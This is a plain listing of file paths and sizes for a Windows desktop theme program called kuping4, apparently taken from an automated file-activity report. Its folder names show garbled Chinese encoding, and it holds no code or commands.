C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\min.png (338 bytes)
C:\kuping4\TempDownLoad\UserLive\tempfile\userlive.xml (480 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\cursor\right.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\1111.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\serch-bg.png (161 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_di.png (306 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\RegisterSkin.ini (693 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_block.png (95 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\update.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\blue.png (307 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\explain.png (559 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_02.png (523 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\scroll-bg.png (305 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SkinInfo.ini (19 bytes)
C:\kuping4\TempDownLoad\Home\11276.jpg (392 bytes)
C:\kuping4\kuping_v4.exe (5620 bytes)
C:\kuping4\Kp_BootClry.exe (1137 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\left-bck.png (1 bytes)
C:\kuping4\SystemConfig\setting.ini (255 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\share.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\notice.png (1 bytes)
C:\kuping4\Appsoftconfig\image\clear.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_02.png (791 bytes)
C:\kuping4\UniversalFunction.dll (4840 bytes)
C:\kuping4\Appsoftconfig\image\ielogo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\login_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg.png (283 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_01.png (784 bytes)
C:\kuping4\Uninstall\StartMenu.exe (24 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Conventional-set.png (988 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\attention.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-icon.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-pause.png (669 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-3.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\max.png (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\App.png (868 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\x.png (943 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\lijixiufu.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-2.png (1 bytes)
C:\kuping4\TempDownLoad\StartUp\tempfile\StartUp.xml (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_deck.png (175 bytes)
C:\kuping4\MSGBoxSkin\UI\stop_button.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttoncmd.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kp4.2flash_01.png (791 bytes)
C:\kuping4\Update\SkinResource\CheckUpdate.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Default-recovery_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\bg_02.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\center-line.png (128 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\collection.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\bg.png (341 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\theme.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\Uninstall.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\album.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\UpDateMenu_Layer.ini (1 bytes)
C:\kuping4\MSGBoxSkin\MSGBoxSkin.ini (2 bytes)
C:\kuping4\MSGBoxSkin\UI\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-Screen-saver.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\bg_02.png (1765 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\mainsub.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\progress.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MouseNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\search.png (681 bytes)
C:\kuping4\KPUpdater.dll (3439 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\smile.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\re-choice.png (371 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\help.png (633 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\home.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list_wallpaper.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\lefr_bg.png (194 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\ApplicationMenu_Layer.ini (3 bytes)
C:\kuping4\QuickenFunctionConfig\Management\status.ini (161 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\mainsub.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\newcreat-bg.png (171 bytes)
C:\kuping4\Update\SkinResource\Minimize.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\Modify-head.png (922 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\¿áÆÃÂÂ4.0flash_02.png (414 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\tick.png (227 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\TailorHeadImageLayer.ini (1 bytes)
C:\kuping4\TempDownLoad\Home\11273.jpg (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\sure_button.png (1 bytes)
C:\kuping4\KpInstallTheme.exe (1764 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\update-online_botton.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\silent_download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\newcreat-focus.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\progress_focus.png (190 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\focus.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\theme-max.png (1529 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\icon_focus.png (483 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\failRefresh.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\logo_s.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MenuSetConfig.ini (48 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cut_button-ato.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\MainSkin.ini (697 bytes)
C:\kuping4\Universal\Soft\softset.ini (78 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\tag.ini (205 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_02.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Personal-center.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\retry_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\cursor\left.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag-line.png (108 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notMulti.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\help_icon.png (730 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\error.png (544 bytes)
C:\kuping4\Universal\skinConfig.rar (980 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\silder.png (363 bytes)
C:\kuping4\VersionConfig.xml (1060 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notcheak.png (391 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\bg.png (1372 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\logo.png (970 bytes)
C:\kuping4\getnew.exe (1960 bytes)
C:\kuping4\SpecialSubject.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\down.png (178 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\SkinCenter.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\loading.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\jindutiao.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\line.png (109 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\reg-btn.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\focus-bg.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\notchoose.png (879 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\aboutme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg1.png (258 bytes)
C:\kuping4\TempDownLoad\UserLive\version.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\scroll_thumb.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\install-button.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\Management\ManagementCommerce.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\white.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_03.png (421 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\delete.png (1 bytes)
C:\kuping4\info.ini (16 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\login_bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\log-bckhead.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\tui-chu.png (232 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\application.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\close.png (2 bytes)
C:\kuping4\Appsoftconfig\image\buttonclear.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AppDlgConfig\MainDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\loading.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\advert.png (980 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\NoticeDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\line_w.png (91 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\pro.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\SkinCenterDownload.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\notMulti.png (912 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\IconsFolderNavigation_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\loading.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\myBaoku.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\load.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\install_icon.png (971 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\cover.png (109 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\LZMA.dll (68 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_win7.xml (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\title-bg.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\installedSoftInfo.ini (1952 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\bg.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set.png (522 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\bg_nf.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-bg.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kankan.png (1921 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin.png (629 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\green.png (324 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\bg_01.png (708 bytes)
C:\kuping4\MSGBoxSkin\UI\success.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\choose.png (883 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\Login_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\new-bg.png (274 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-5.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\news.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\upload_button.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg2.png (182 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\bg.png (784 bytes)
C:\kuping4\TempDownLoad\Home\11279.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\meihua.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_thumb.png (744 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\page.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\scroll_block.png (763 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\notice-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateNetError.ini (633 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateDownloadPage.ini (592 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\bg1.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\city-about.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\menu_move.png (440 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\Label-input-box.png (258 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\open.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\uphead.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\home\HomeConfig.xml (1 bytes)
C:\kuping4\TempDownLoad\Home\Homeversion.ini (31 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\yellow.png (298 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\log-bck.png (543 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\danxuan.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\focus.png (142 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\seach-btn.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\FeedbackDlgConfig\MainFeedbackDlg.ini (879 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\mail.png (263 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\Screen-saver.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag_focus.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\WebContro.ini (529 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\logo.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\function.png (392 bytes)
C:\kuping4\softset.ini (1051 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\install_icon.png (971 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\drop-down.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_01.png (974 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\sina_logo.png (638 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\app.png (987 bytes)
C:\kuping4\TempDownLoad\TagInfo\TagVersion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MainSkin.ini (3 bytes)
C:\kuping4\Uninstall\skinConfig_un\skinconfig.ini (85 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\album.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-collection.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\begin.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\title-Modify-head.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\gray.png (313 bytes)
C:\kuping4\QuickenFunctionConfig\deskIco\status.ini (16 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\img_01.png (588 bytes)
C:\kuping4\Appsoftconfig\image\play.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\head120.png (1372 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\silder-fill.png (343 bytes)
C:\kuping4\Update\soft.ini (908 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\set-cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\logo.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\icon_focus.png (510 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-1.png (794 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\tailorBg.jpg (1764 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\cheak.png (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\TongJICNZZ.dll (65 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\update.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\orange.png (327 bytes)
C:\kuping4\skinConfig\skinversion.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\shuyeer.png (196 bytes)
C:\kuping4\Appsoftconfig\image\buttoncoculation.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ScreenSaverNavigation_Layer.ini (196 bytes)
C:\kuping4\Appsoftconfig\image\soft.xml (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set_icon.png (782 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\upon.png (288 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\bg_wf.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\delete.png (486 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\ui\msgbox\bg_small.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\popmenu.png (678 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\check-box_focus.png (991 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\My-share.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\focus-l.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\about.png (1176 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\m.png (3 bytes)
C:\kuping4\MSGBoxSkin\UI\warning.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\¡Ì.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\page2.png (106 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\sure.png (634 bytes)
C:\kuping4\UserBehaviorStatistics.dll (471 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\ĬÈÃÂÂ\MsgBox_1.ini (729 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list_theme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\logo.png (584 bytes)
C:\kuping4\kp4_Mini.exe (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AllApplication_Layer.ini (1 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\input.png (212 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\Label-input-box1.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\continue.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\delete.png (486 bytes)
C:\kuping4\uninstall.exe (2145 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\add-m.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\recover.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\SepLine.png (99 bytes)
C:\kuping4\TempDownLoad\Home\11275.jpg_0 (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_01.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\updown.png (280 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\HomePageShow_Layer.ini (3 bytes)
C:\kuping4\Appsoftconfig\APPversion.ini (59 bytes)
C:\kuping4\MSGBoxSkin\UI\faild.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\refresh.png (1 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\seach.png (1 bytes)
C:\kuping4\Update\SkinResource\Exit.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttonplay.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateCheckPage.ini (261 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\loading2.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateInfoPage.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\MyBaoku.ini (3 bytes)
C:\kuping4\DeskTopPop.exe (1529 bytes)
C:\kuping4\Appsoftconfig\image\sou.png (196 bytes)
C:\kuping4\Update\SkinResource\IsNew.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\Boot-screen.png (196 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\close.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\scroll.png (410 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\mennu-bg.png (363 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\blue.png (90 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\min.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cancel.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\collection.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\set.png (234 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\nextpage.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\BootScreenNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\brown.png (286 bytes)
C:\kuping4\Update\SkinResource\BKStep1.png (902 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\icon.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\MainMenuDlgSkin.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress.png (179 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\save.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SystemThemeNavigation_Layer.ini (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\pink.png (290 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\wallpaper.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\error.png (1 bytes)
